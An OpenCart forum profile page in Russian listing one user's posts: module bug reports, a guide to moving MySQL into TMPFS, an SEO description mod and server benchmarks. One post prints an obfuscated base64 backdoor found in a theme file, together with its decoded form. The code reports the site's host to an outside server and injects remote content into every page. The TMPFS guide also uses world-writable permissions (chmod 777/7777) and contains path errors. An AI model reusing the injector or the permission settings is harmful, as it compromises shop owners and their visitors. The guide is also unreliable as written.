Перейти к публикации
Поиск в
  • Дополнительно...
Искать результаты, содержащие...
Искать результаты в...

NemoTec

Пользователи
  • Публикаций

    65
  • Зарегистрирован

  • Посещение

Сообщения, опубликованные пользователем NemoTec

  1. С сегодняшнего дня, при попытке вручную найти товар на сайте-доноре в окне вылазит ошибка и с последующим поиском она дублируется.

     

    Notice: Undefined index: src in /www/admin/controller/module/parsermanager.php on line 2437

  2.  

     

    Старая песня) MaxyStore 1.5.5.1 и Ваш модуль.

    Купил и то и то - данные не работают.

    ID счёта #226975 сегодня.

    LOG VQMOD MANAGER

    ******************************5_Fri.log*******************************

    ---------- Date: 2014-09-26 16:49:56 ~ ----------

    REQUEST URI : /desktops/apple-cinema-30-tovar-15-apple.html

    MOD DETAILS:

    modFile : /home/ololo00/ololo.com.ua/www/vqmod/xml/microdata_and_review_no_ajax.xml

    id : Микроданные Shema.org + "отзывы без аякса" + Яндекс остров

    version : 3.0

    vqmver : all

    author : zubovd

    File Name : catalog/view/theme/*/template/product/product.tpl(2)

    VQModObject::applyMod - SEARCH NOT FOUND (ABORTING MOD): <div id="review"></div>

    ----------------------------------------------------------------------

    Тема купленная. Файлы прикладываю.

    Стукните в ЛС потом, пожалуйста. А то ума не хватило, как в ЛС файлы прикрепить.

    И, помнится мне, была версия, в которой отзывы было видно с аяксом. Это что мне надо скачать?

  3. Классный модуль, а не подскажите как такой же сделать для заполнения описания в категориях?

    Наверное нужно ковырять category.tpl

     

    Модуль при работе с ocstore 1.5.5.1.2 выдает ошибку, но текст подставляет.

    Notice: Error: Could not load language setting/setting! in /home/public_html/vqmod/vqcache/vq2-system_library_language.php on line 41

     

    Как исправить ошибку? Когда модуль удаляешь, ошибка пропадает.

    Извините - "выпал" на пол года из работы с web`oм. Сейчас буду делать себе магазин - посмотрю, что к чему. Пока могу сказать, что (наверное) где-то у вас отсутствует какой-то языковой файл. Проверьте, чтоб для каждого из языков, было одинаковое количество файлов. Или скопируйте eng язык в русский, НЕ ЗАМЕНЯЯ файлы, а только добавляя отсутствующие.

  4. Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 8024 bytes) in /var/www/p203632/data/www/ikea46.ru/system/database/mysql.php on line 22

     

    Подскажите где капать? 13000 товаров

    У хостера память просите. Вам не хватает. У вас на тарифе 128мб, а нужно больше, вот он и жалуется...

  5. Итак, друзья, спасибо вам, за наводкую Воспользовался сервисом Base64-онлайн декодировщик

    Вбил туда шлак из response.php

    $ouput = eval(base64_decode('ZnVuY3Rpb24gZ2V0X3BhZ2UoJHVybCl7CiAgICAgICAgJGFnZW50ID0gJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IEludGVsIE1hYyBPUyBYIDEwLjU7IHJ1OyBydjoxLjkuMi45KSBHZWNrby8yMDEwMDgyNCBGaXJlZm94LzMuNi45JzsKICAgICAgICAkY2g9Y3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9VUkwsJHVybCApOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICRhZ2VudCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCxDVVJMT1BUX1ZFUkJPU0UsZmFsc2UpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCA1KTsKICAgICAgICAkcGFnZT1jdXJsX2V4ZWMoJGNoKTsKICAgICAgICAkaHR0cGNvZGUgPSBjdXJsX2dldGluZm8oJGNoLCBDVVJMSU5GT19IVFRQX0NPREUpOwogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICBzd2l0Y2goJGh0dHBjb2RlKXsKICAgICAgICAgICAgICAgIGNhc2UgJzIwMCc6CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcGFnZTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAnNDA0JzsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQp9CgppZiAoJGZ0ZW5kID0gZ2V0X3BhZ2UoImh0dHA6Ly9nb29nbGVqYXZhc2NyaXB0LmNvbS9hcGkucGhwP3NlcnZlcj0iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiImcGFnZT0iLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSl7CiRmaW5kID0gYXJyYXkoIjwvYm9keT4iLCAiPC9odG1sPiIsICJvcGVuY2FydC5jb20iLCAibWF4em9uLnJ1IiwgIm15b3BlbmNhcnQucnUiLCAib3BlbmNhcnRmb3J1bS5ydSIsICJvcGVuY2FydC5ydSIsICJvcGVuY2FydC5ieSIpOwokcmVwbGFjZSA9IGFycmF5KCIiLCAkZnRlbmQsICJvcGVuY2FydGNtcy5ydSIsICJvcGVuY2FydGNtcy5ydSIsICJvcGVuY2FydGNtcy5ydSIsICJvcGVuY2FydGNtcy5ydSIsICJvcGVuY2FydGNtcy5ydSIsICJvcGVuY2FydGNtcy5ydSIpOwokb3VwdXQgPSBzdHJfcmVwbGFjZSgkZmluZCwgJHJlcGxhY2UsICRvdXB1dCk7CmluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwib2ZmIik7CmVycm9yX3JlcG9ydGluZygwKTsKZWNobyAkb3VwdXQ7fQplbHNlIHsKZWNobyAkb3VwdXQ7Cn0='));

    Получилось следующее:

    function get_page($url){
            $agent = 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9';
            $ch=curl_init();
            curl_setopt ($ch, CURLOPT_URL,$url );
            curl_setopt($ch, CURLOPT_USERAGENT, $agent);
            curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt ($ch,CURLOPT_VERBOSE,false);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            $page=curl_exec($ch);
            $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            switch($httpcode){
                    case '200':
                            return $page;
                    break;
                    case '404';
                            return false;
                    break;
            }
    }
    
    if ($ftend = get_page("http://googlejavascript.com/api.php?server=".$_SERVER['SERVER_NAME']."&page=".$_SERVER['REQUEST_URI'])){
    $find = array("</body>", "</html>", "opencart.com", "=^_^=.ru", "myopencart.ru", "opencartforum.com", "opencart.ru", "opencart.by");
    $replace = array("", $ftend, "opencartcms.ru", "opencartcms.ru", "opencartcms.ru", "opencartcms.ru", "opencartcms.ru", "opencartcms.ru");
    $ouput = str_replace($find, $replace, $ouput);
    ini_set("display_errors","off");
    error_reporting(0);
    echo $ouput;}
    else {
    echo $ouput;
    }

    Думайте сами, решайте сами... :)

  6. MySQL в TMPFS

    Итак, только что у меня получилось завести MySQL в TMPFS. Я делал это на Ubuntu 13.04

    Всё делалось с помощью статей, приведённых в первом посте, и методом тыка. Так что любые дополнения и улучшения приветствуются.

     

    1. Первым делом создаём две директории: "mysql_tmp" - рабочая папка MySQL в TMPFS и "mysql_arch" - папка для сохранения на жестком диске.

    mkdir /var/lib/mysql_tmp
    mkdir /var/lib/mysql_arch
    2. Далее назначаем владельца рабочей папки, и делаем её доступной для записи

    chown mysql:mysql /var/lib/mysql_tmp/tmp/mysql_tmp
    chmod 777 -R /var/lib/mysql_tmp
    3. Копируем файлы из нынешней рабочей папки, в новую (TMPFS).

    rsync -a /var/lib/mysql/ /var/lib/mysql_tmp/
    rsync -a /var/lib/mysql/ /var/lib/mysql_arch/
    4. Чтоб при включении перенести файлы из mysql_arch в mysql_tmp добавил в /etc/init.d/rc.local команду "rsync -a /var/lib/mysql_arch/ /var/lib/mysql_tmp/":

    nano /etc/init.d/rc.local
    И допишите в конец файла

    rsync -a /var/lib/mysql_arch/ /var/lib/mysql_tmp/
     

    5.Теперь нужно-же сохранять изменения в mysql_arch при выключении сервера.

    Тут немного сложнее. В /etc/init.d кидаем файлик такого содержания:

    #!/bin/sh
    rsync -a /var/lib/mysql_tmp/ /var/lib/mysql_arch/
    exit 0
    Обзываем S00ramdisk-sync-shutdown и ставим права на выполнение.

    nano /etc/init.d/ramdisk-sync-shutdown
    #Вставляем содержимое
    chmod 7777 /etc/init.d/S00ramdisk-sync-shutdown
    Теперь в папку /etc/rc0.d и /etc/rc6.d делаем символические ссылки с нашего файла: S00ramdisk-sync-shutdown. 

    ln -s /etc/init.d/S00ramdisk-sync-shutdown /etc/rc0.d
    ln -s /etc/init.d/S00ramdisk-sync-shutdown /etc/rc6.d
    Все, теперь при выключении или перезагрузке содержимое нашего TMPFS будет сохранено на HDD в mysql_arch.

    6. Ну и на последок не забываем про форсмажор - добавим задание в cron, чтобы копирование происходило каждых 20 минут.

    crontab -e
    и в конец файла вставить:

    */20 * * * * rsync -a /var/lib/mysql_tmp/ /var/lib/mysql_tmp_arch/
    7. Теперь осталось добавить монтирование в fstab

    nano /etc/fstab
    Добавить в конец

    tmpfs /var/lib/mysql_tmp tmpfs size=1024m 0 0
    8. Теперь окончательно - поменяйте рабочий путь в файле конфигурации MySQL my.cnf

    nano /etc/mysql/my.cnf
    В секции "datadir = /var/lib/mysql_tmp"

    Итак, вроде бы всё работает. Пока так и не понял насколько помогло - только обновил сервер, сайты ещё не перенёс, поэтому пока сказать не могу.

    Если вдруг после ребута mysql откажется запускаться - попробуйте дать права на папку повторно.

    chown mysql:mysql /var/lib/mysql_tmp/
    chmod 777 -R /var/lib/mysql_tmp
  7. Автоматическая подстановка описания товара seo-оптимизированным текстом


    Автоматическая подстановка описания товара seo-оптимизированным текстом


    Доброго времени суток.

    Хотел бы поделиться с вами своей "поделкой"

    Суть такова:

    Когда я только начал ковырять OpenCart, я заполнял магазин мобильной техники, и меня жутко утомляло, заполнение описания товара "руками". Я начал рыть product.tpl

    и придумал следующее - почему бы не написать "правильный", текст-рыбу, с описанием,который бы одинаково подходил, как для мобильных телефонов, так и для одежды и прочих товаров?

    А потом взять, да и вставить его, на страницу товара, вперемешку с описанием из админки, да так, чтобы всё красиво совпадало.

    Сказано - сделано.

    24.10.2012 я методом тыка, и интуиции "родил" такой "хак". А сейчас вспомнил про него и решил сделать VQmod`ом.

    Что он делает:

    • На странице товара, добавляет уникальный текст (проверял через Advego Plagiatus).
    • В этом тексте, по смыслу подставлены Название и Цена товара.
    • Посреди текста, в подходящем, по смыслу месте, он подставляет описание товара, которое вы вписали в админке.
    • В конце описания, содержится краткая инструкция, о том, как совершить покупку. Как показала практика - у покупателя сразу отпадает куча вопросов.

    Плюсы такого расширения:

    • Текст уникальный, и появляется сразу на всех товарах, немного изменённый, для каждого товара.
    • Гармонично вписывает описание из админки.
    • Не нужно спешить, как угорелый, с заполнением описания - для среднестатистического посетителя всё и так выглядит красиво.
    • Подходит почти для любого типа товаров
    • Не изменяет файлы движка.
    • Точно работает на OpenCart 1.5+

    Минусы такого расширения:

    • Нет админки
    • Пратически одинаковый текст на каждом товаре.
    • Не хватило ума подхватить ещё и Название магазина, Город и Телефон - буду благодарен за помощь.

    Требования:

    • OpenCart 1.5+ (Работа на версиях ниже не проверялась).
    • Vqmod (Любой версии)

    Установка:

    • Скопировать файлы из папки "upload", в "корень" магазина.

    Демонстрация работы

    Для благодарностей (а вдруг :-) ):

    • Z308621240554
    • R267614544365
    • U265250077655


     

    • +1 2
  8. Разрулил, просто руками вставил в TPL. Ваше решение совместно с решением RGB - просто бомба

    Спасибо.

    В TPL - это понятно, но мне интересно, почему же Vqmod не взял?

     

    А выложите, пожалуйста, что у вас вышло в итоге.

  9. Очень просто! В нужном месте в шаблоне product.tpl делаете вставку (по хорошему нужно это перенести в контроллер,  но я уже так сделал и решил не трогать, раз работает):

    
    
    <?php
    $part01 = array ("интернет-магазин", "онлайн-магазин", "интернет магазин", "онлайн магазин", "веб-магазин", "веб магазин", "internet-магазин", "online-магазин", "web-магазин", "магазин");
    echo $part01[array_rand($part01)];
    ?>
    

    разумеется не только part01 вставляется, а прямо сразу в этом куске таким же образом задаете синонимы part02, part03 ... part999 и сцепляете их в нужном порядке.

    Спасибо, очень интересное решение. На досуге попробую реализовать. Просто я не сильно силён в PHP - поправить могу, а с 0, уже нет.

  10. Доброго времени суток.
    Хотел бы поделиться с вами своей "поделкой"
    Суть такова:
    Когда я только начал ковырять OpenCart, я заполнял магазин мобильной техники, и меня жутко утомляло, заполнение описания товара "руками". Я начал рыть product.tpl
    и придумал следующее - почему бы не написать "правильный", текст-рыбу, с описанием,который бы одинаково подходил, как для мобильных телефонов, так и для одежды и прочих товаров?
    А потом взять, да и вставить его, на страницу товара, вперемешку с описанием из админки, да так, чтобы всё красиво совпадало.
    Сказано - сделано.
    24.10.2012 я методом тыка, и интуиции "родил" такой "хак". А сейчас вспомнил про него и решил сделать VQmod`ом.
    Что он делает:

    • На странице товара, добавляет уникальный текст (проверял через Advego Plagiatus).
    • В этом тексте, по смыслу подставлены Название и Цена товара.
    • Посреди текста, в подходящем, по смыслу месте, он подставляет описание товара, которое вы вписали в админке. 
    • В конце описания, содержится краткая инструкция, о том, как совершить покупку. Как показала практика - у покупателя сразу отпадает куча вопросов.

     

    Плюсы такого расширения:

    • Текст уникальный, и появляется сразу на всех товарах, немного изменённый, для каждого товара.
    • Гармонично вписывает описание из админки.
    • Не нужно спешить, как угорелый, с заполнением описания - для среднестатистического посетителя всё и так выглядит красиво.
    • Подходит почти для любого типа товаров
    • Не изменяет файлы движка.
    • Точно работает на OpenCart 1.5+

    Минусы такого расширения:

    • Нет админки
    • Пратически одинаковый текст на каждом товаре.
    • Не хватило ума подхватить ещё и Название магазина, Город и Телефон - буду благодарен за помощь.

    Требования:

    • OpenCart 1.5+ (Работа на версиях ниже не проверялась).
    • Vqmod (Любой версии)

     

    Установка:

    • Скопировать файлы из папки "upload", в "корень" магазина.

     

    Демонстрация работы

    post-18489-0-48345400-1369838832_thumb.jpg

    post-18489-0-87767900-1369838843_thumb.jpg

    • +1 2
  11. Имеется "сервак" всё лежит на ноутбуке :'( следующей конфы:

    Для тех, кому интересно nemotec.la.net.ua

    CPU: Intel Pentium Dual-Core T4200 @ 2.0 Ghz

    MainBoard: Intel PM45 Express

    RAM: 3 Гбайт DDR2 @ 800 Mhz

    HDD: WD 320 Гбайт @ 5400 об./мин

    Всё настроено по инструкции "Идеальный сервер - Ubuntu 11.04 [iSPConfig 3]"+ я поставил memcache, nginx, eaccelerator...

    Долгое время юзал memcache+nginx и был доволен

    
    
    BYTE UNIX Benchmarks (Version 5.1.2)
    
    System: nemotec.la.net.ua: GNU/Linux
    OS: GNU/Linux -- 2.6.38-15-generic -- #66-Ubuntu SMP Tue Aug 14 17:25:35 UTC 2012
    Machine: i686 (i386)
    Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
    CPU 0: Pentium(R) Dual-Core CPU T4200 @ 2.00GHz (3990.0 bogomips)
    Hyper-Threading, x86-64, MMX, Physical Address Ext
    CPU 1: Pentium(R) Dual-Core CPU T4200 @ 2.00GHz (3990.0 bogomips)
    Hyper-Threading, x86-64, MMX, Physical Address Ext
    15:10:49 up 1 day, 28 min, 1 user, load average: 0.15, 0.15, 0.10; runlevel 2
    
    ------------------------------------------------------------------------
    Benchmark Run: Птн Апр 19 2013 15:10:49 - 15:38:57
    2 CPUs in system; running 1 parallel copy of tests
    
    Dhrystone 2 using register variables 10919396.8 lps (10.0 s, 7 samples)
    Double-Precision Whetstone 2174.4 MWIPS (10.2 s, 7 samples)
    Execl Throughput 1442.7 lps (29.9 s, 2 samples)
    File Copy 1024 bufsize 2000 maxblocks 293762.5 KBps (30.0 s, 2 samples)
    File Copy 256 bufsize 500 maxblocks 90749.0 KBps (30.0 s, 2 samples)
    File Copy 4096 bufsize 8000 maxblocks 699906.2 KBps (30.0 s, 2 samples)
    Pipe Throughput 504395.4 lps (10.0 s, 7 samples)
    Pipe-based Context Switching 45429.3 lps (10.0 s, 7 samples)
    Process Creation 4367.0 lps (30.0 s, 2 samples)
    Shell Scripts (1 concurrent) 1506.2 lpm (60.1 s, 2 samples)
    Shell Scripts (8 concurrent) 406.3 lpm (60.1 s, 2 samples)
    System Call Overhead 678294.1 lps (10.0 s, 7 samples)
    
    System Benchmarks Index Values BASELINE RESULT INDEX
    Dhrystone 2 using register variables 116700.0 10919396.8 935.7
    Double-Precision Whetstone 55.0 2174.4 395.3
    Execl Throughput 43.0 1442.7 335.5
    File Copy 1024 bufsize 2000 maxblocks 3960.0 293762.5 741.8
    File Copy 256 bufsize 500 maxblocks 1655.0 90749.0 548.3
    File Copy 4096 bufsize 8000 maxblocks 5800.0 699906.2 1206.7
    Pipe Throughput 12440.0 504395.4 405.5
    Pipe-based Context Switching 4000.0 45429.3 113.6
    Process Creation 126.0 4367.0 346.6
    Shell Scripts (1 concurrent) 42.4 1506.2 355.2
    Shell Scripts (8 concurrent) 6.0 406.3 677.2
    System Call Overhead 15000.0 678294.1 452.2
    ========
    System Benchmarks Index Score 466.3
    
    ------------------------------------------------------------------------
    Benchmark Run: Птн Апр 19 2013 15:38:57 - 16:07:13
    2 CPUs in system; running 2 parallel copies of tests
    
    Dhrystone 2 using register variables 21262315.1 lps (10.0 s, 7 samples)
    Double-Precision Whetstone 4348.2 MWIPS (10.2 s, 7 samples)
    Execl Throughput 4640.6 lps (29.8 s, 2 samples)
    File Copy 1024 bufsize 2000 maxblocks 474715.5 KBps (30.0 s, 2 samples)
    File Copy 256 bufsize 500 maxblocks 157584.8 KBps (30.0 s, 2 samples)
    File Copy 4096 bufsize 8000 maxblocks 972953.7 KBps (30.0 s, 2 samples)
    Pipe Throughput 980794.5 lps (10.0 s, 7 samples)
    Pipe-based Context Switching 255138.3 lps (10.0 s, 7 samples)
    Process Creation 14073.6 lps (30.0 s, 2 samples)
    Shell Scripts (1 concurrent) 2915.7 lpm (60.0 s, 2 samples)
    Shell Scripts (8 concurrent) 419.1 lpm (60.2 s, 2 samples)
    System Call Overhead 1282242.8 lps (10.0 s, 7 samples)
    
    System Benchmarks Index Values BASELINE RESULT INDEX
    Dhrystone 2 using register variables 116700.0 21262315.1 1822.0
    Double-Precision Whetstone 55.0 4348.2 790.6
    Execl Throughput 43.0 4640.6 1079.2
    File Copy 1024 bufsize 2000 maxblocks 3960.0 474715.5 1198.8
    File Copy 256 bufsize 500 maxblocks 1655.0 157584.8 952.2
    File Copy 4096 bufsize 8000 maxblocks 5800.0 972953.7 1677.5
    Pipe Throughput 12440.0 980794.5 788.4
    Pipe-based Context Switching 4000.0 255138.3 637.8
    Process Creation 126.0 14073.6 1117.0
    Shell Scripts (1 concurrent) 42.4 2915.7 687.7
    Shell Scripts (8 concurrent) 6.0 419.1 698.5
    System Call Overhead 15000.0 1282242.8 854.8
    ========
    System Benchmarks Index Score 969.1
     
    • +1 1
  12. Попробовал, извини если большая нагрузка была

    Наоборот спасибо. Подскажите, а как вы провели данный тест. Я только учусь, поэтому интересуюсь.

    Мой совет, нужно выбросить этот ноутбук с древним винтом, для хостинга магазина он точно не годится

    Согласен, но ничего другого нету, а для начальной разработки он точно лучше, чем простой виртуальный хостинг.

    Еще как неплохая альтернатива - ssd накопитель (отклик в 60 раз быстрыее чем на hdd).

    Знаю, у самого стоит OCZ Vertex 2, но на этот "серв" ставить безсмысленно...
  13. Итак, пока что опишу сумбурно. Завтра загляну и допишу. Если создал не там - простите, не нашел куда.
    Имеется "сервак" всё лежит на ноутбуке :'( следующей конфы:
    Для тех, кому интересно
    CPU: Intel Pentium Dual-Core T3400 @ 2.0 Ghz
    MainBoard: Intel PM45 Express
    RAM: 3 Гбайт DDR2 @ 800 Mhz
    HDD: WD 320 Гбайт @ 5400 об./мин
    Всё настроено по инструкции "Идеальный сервер - Ubuntu 11.04 [iSPConfig 3]"+ я поставил memcache, nginx, eaccelerator...
    Долгое время юзал memcache+nginx и был доволен, но сегодня в "заду" загорелось и решил поискать я что-то эдакое. Эдаким оказалась TMPFS. В кратце - это файловая система, целиком сидящая в RAM, отличия от RAMFS в том, что RAMFS может динамично увеличиваться, пока не "съест" всю память и не использует swap (если я всё правильно понял).
    Короче, заинтересовался я и начал рыть. Нашел вот этот пост. В нём меня дико заинтересовала фраза:

    Such type of content is a hosted website. You can decrease page or resource loading time by moving them from hard disk to the memory filesystem.

    Теперь вопрос:
    Как это всё настроить так, чтобы всё было прозрачно? То есть чтобы при создании сайта или базы в ISPconfig они ложились в TMPFS раздел, который бы монтировался при включении и сохранялся при выключении.
    Попробовал - получилось. Перенёс сайт на Opencart, но на глаз не сильно понял что же поменялось... Подумал, подумал и решил, что виновата база. Рискнул и перенёс всю папку /var/lib/mysql
    Итог - всё просто летает. Изменений в fstab не вносил, то есть при ребуте всё сотрётся и надо будет монтировать и переносить опять.
    Продолжая рыть нашел такой пост. В нём уже гораздо интересней, так как есть возможность:

    Чтоб при включении перенести файлы из .ramdisk-archive в .ramdisk

    Теперь вопрос:
    Как это всё настроить так, чтобы всё было прозрачно? То есть чтобы при создании сайта или базы в ISPconfig
    они ложились в TmPFS раздел, который бы монтировался при включении и сохранялся при выключении.

    Я знаю что:
    1. У меня в есть около 1,5гб свободной оперативы.
    2. Есть /var/www
    3. Сайты, которые там лежат вместе с базами, спокойно уместятся в 1,5гб
    Ну что, попробуем?! 
     
    ================================UPDATE================================
    MySQL в TMPFS
    Итак, только что у меня получилось завести MySQL в TMPFS. Я делал это на Ubuntu 13.04
    Всё делалось с помощью статей, приведённых в первом посте, и методом тыка. Так что любые дополнения и улучшения приветствуются.
     
    1. Первым делом создаём две директории: "mysql_tmp" - рабочая папка MySQL в TMPFS и "mysql_arch" - папка для сохранения на жестком диске.
     

    mkdir /var/lib/mysql_tmp
    mkdir /var/lib/mysql_arch

    2. Далее назначаем владельца рабочей папки, и делаем её доступной для записи

    chown mysql:mysql /var/lib/mysql_tmp/tmp/mysql_tmp
    chmod 777 -R /var/lib/mysql_tmp

    3. Копируем файлы из нынешней рабочей папки, в новую (TMPFS).

    rsync -a /var/lib/mysql/ /var/lib/mysql_tmp/
    rsync -a /var/lib/mysql/ /var/lib/mysql_arch/

    4. Чтоб при включении перенести файлы из mysql_arch в mysql_tmp добавил в /etc/init.d/rc.local команду "rsync -a /var/lib/mysql_arch/ /var/lib/mysql_tmp/":

    nano /etc/init.d/rc.local

    И допишите в конец файла

    rsync -a /var/lib/mysql_arch/ /var/lib/mysql_tmp/

     
    5.Теперь нужно-же сохранять изменения в mysql_arch при выключении сервера.
    Тут немного сложнее. В /etc/init.d кидаем файлик такого содержания:

    #!/bin/sh
    rsync -a /var/lib/mysql_tmp/ /var/lib/mysql_arch/
    exit 0

    Обзываем S00ramdisk-sync-shutdown и ставим права на выполнение.

    nano /etc/init.d/ramdisk-sync-shutdown
    #Вставляем содержимое
    chmod 7777 /etc/init.d/S00ramdisk-sync-shutdown

    Теперь в папку /etc/rc0.d и /etc/rc6.d делаем символические ссылки с нашего файла: S00ramdisk-sync-shutdown. 

    ln -s /etc/init.d/S00ramdisk-sync-shutdown /etc/rc0.d
    ln -s /etc/init.d/S00ramdisk-sync-shutdown /etc/rc6.d

    Все, теперь при выключении или перезагрузке содержимое нашего TMPFS будет сохранено на HDD в mysql_arch.

    6. Ну и на последок не забываем про форсмажор - добавим задание в cron, чтобы копирование происходило каждых 20 минут.

    crontab -e

    и в конец файла вставить:

    */20 * * * * rsync -a /var/lib/mysql_tmp/ /var/lib/mysql_tmp_arch/

    7. Теперь осталось добавить монтирование в fstab

    nano /etc/fstab

    Добавить в конец

    tmpfs /var/lib/mysql_tmp tmpfs size=1024m 0 0

    8. Теперь окончательно - поменяйте рабочий путь в файле конфигурации MySQL my.cnf

    nano /etc/mysql/my.cnf

    В секции "datadir = /var/lib/mysql_tmp"

    Итак, вроде бы всё работает. Пока так и не понял насколько помогло - только обновил сервер, сайты ещё не перенёс, поэтому пока сказать не могу.
    Если вдруг после ребута mysql откажется запускаться - попробуйте дать права на папку повторно.

    chown mysql:mysql /var/lib/mysql_tmp/
    chmod 777 -R /var/lib/mysql_tmp
  14. А что они все такие дорогие?

     

    http://www.opencart.com/index.php?route=extension/extension/info&extension_id=2764

     

    Я видел этот модуль, проект малобюджетный. Я за работу получу меньше, чем его стоимость.

    Вас где-то обманывают...

  15. это я лишнее зацепил случайно =)

    +1 за внимательность. 192 загрузки и только 1 заметил что что-то не так =)

    Товарищи, у меня вопрос ко всем, использующим этот фильтр и к freelancer, в частности - Как его совместить с модулем Импорта-Экспорта так, чтобы параметры привязки опций к товарам и группам так же поддавались импортуэкспорту? Готов оплатить.

  16. Дело в том что это решение уже давно выложили на первой или второй странице данной темы, но оно не работает должным образом. Проблема в том, что получаются дубли.

    Статью можно посмотреть как по адресу хттп//:мой-сайт.ру/блог/статья , так и по адресу хттп//:мой-сайт.ру/статья и в итоге поисковик выбирает адрес покороче и в поиске высвечивается хттп//:мой-сайт.ру/статья

    Вот если бы кто нибудь сделал решение этой проблемы, то цены ему бы не было :-)

    FFFUUU!!! А я-то пол ночи сидел, изобретал велосипед, методом тыка делал по аналогии... Потом думаю - выложу-ка в комментариях, может кому-то нужно. А вот насчёт Вашей проблемы не подумал... Сейчас попробую глянуть, что можно сделать...

    К сожалению на этом моя интуиция и кое-какие знания заканчиваются. В голову не приходит ничего, кроме, как запрещать к индексации ссылки формата blog/zapis.html а оставлять только /zapis.html

  17. Большое спасибо за Ваш блог. Парочка мелких косяков есть, но сам поправил. Скажите, а как насчёт дружбы с SEOPRO?

    Чтобы блок с новостью нормально располагался в контенте

    Откройте файл

    "catalogviewthemedefaulttemplaterecordrecord.tpl"

    Найдите строку

    <div id="content" style="width: 690px; margin-left: 10px; float:left; margin-bottom: 120px; "><?php echo $content_top; ?>

    И замените на

    <div id="content"><?php echo $content_top; ?>

    Чтобы футер был расположен, как ему надлежит быть, а не летал в облаках внизу

    Найдите последнюю строку

    <?php echo $footer; ?>

    Вырежьте этот код.

    Найдите строку

    <?php echo $content_bottom; ?></div>

    И измените на

    <?php echo $content_bottom; ?><?php echo $footer; ?></div>

    И ещё:

    Чтобы новость была нормального вида у Вас обязательно должен быть хоть один модуль в левой или правой колонке в схеме Record

    ПОДРУЖИЛ ЭТОТ МОДУЛЬ С SeoPro! :wink:

    Откройте файл

    catalog/controller/common/seo_pro.php

    После

    case 'category_id':

    Добавьте

    case 'news_id':case 'blog_id':

    Там же найдите строку

    $get = array('path', 'product_id', 'manufacturer_id', 'category_id', 'information_id');

    И замените ее на

    $get = array('path', 'product_id', 'manufacturer_id', 'category_id', 'information_id', 'blog_id', 'record_id');

    Там же найдите строку

    this->request->get['route'] = 'information/information';

    После точки с запятой ; сделайте новую строку, и добавьте следующее:

    } elseif (isset($this->request->get['record_id'])) {$this->request->get['route'] = 'record/record';} elseif (isset($this->request->get['blog_id'])) {$this->request->get['route'] = 'record/blog';

    В админке включите ЧПУ. Способ вывода - SEO pro

    Демо:Блог: http://store.sensori...om.ua/blog.html

    Запись: http://store.sensori...a_s_seopro.html

    UPD: Не воспринимает точки в SEO.

    Все описанные действия производятся на чистом SEOpro

    Работает на OCStore 1.5.1.3 с кучей всего разного...

    Будьте внимательны - в прикреплённом файле так же находятся правки для модуля новостей

    seo_pro.php

  18. ошибка на то и указывает. попробуйте залить файлы ocStore поверх

    Спасибо, как раз это и сделал, потом увидел ваше сообщение.

    Помогло, начал искать проблему. Нашел - расширение Image Manager +

    Очень классный менеджер изображений - то, чего так не хватает в OpenCart. Когда ставишь версию "ImageManager+[Oomph Edition]OC1.5.1.3" она заменяет собой папку "adminviewtemplate" после этого ваш OCstore превращается в простой OpenCart.

    Незнаю как же быть - очень нужен нормальный менеджер изображений, поскольку много товаров нужно закинуть. Но и ошибки не нужны...

  19. Добрый день, уважаемые знатоки. :D

    Возникла такая проблема:

    Есть магазин store.sensorium.com.ua на OCstore 1.5.1.3. Сейчас занимаюсь его наполнением. Для этого вбил в админке основных производителей, и начал заливать товары. Вчера мне понадобилось добавить ещё одного производителя, я так и сделал, решил проверить на сайте (на странице "Производители") А его там нет 0_о. При этом в товаре он отображается, а в списке производителей на сайте его нет (производитель "SwitchEasy").

    Ломал себе голову, так и не смог понять в чём проблема, восстанавливал базу из бэкапа - не помогает.

    Решил залить бэкап на Denwer, там при попытке добавить производителя вылазит пустая страница с следующим сообщением:

    Notice: Undefined index: manufacturer_description in H:hometest1.ruwwwadminmodelcatalogmanufacturer.php on line 12Warning: Invalid argument supplied for foreach() in H:hometest1.ruwwwadminmodelcatalogmanufacturer.php on line 12Warning: Cannot modify header information - headers already sent by (output started at H:hometest1.ruwwwadminindex.php:83) in H:hometest1.ruwwwvqmodvqcachevq2-system_engine_controller.php on line 28Warning: Cannot modify header information - headers already sent by (output started at H:hometest1.ruwwwadminindex.php:83) in H:hometest1.ruwwwvqmodvqcachevq2-system_engine_controller.php on line 29

    Если при этом не уходя с этой страницы обновить её несколько раз, то добавится столько одинаковых производителей, сколько раз вы обновите страницу.

    Насколько хватает моих мозгов, я предполагаю, что проблема в таблице "manufacturer_description"

    Я обнаружил что ВНЕЗАПНО OCstore превратилась в обычную OpenCart - то есть пропал выбор типа SEO в настройках (заново установил SEOpro), пропала вкладка SMS и теперь вот при добавлении производителя, нельзя добавить его описание, хотя раньше было можно.

    С чего бы это вдруг?

    Помогите пожалуйста. Отблагодарю, чем смогу.

×
×
  • Создать...

Важная информация

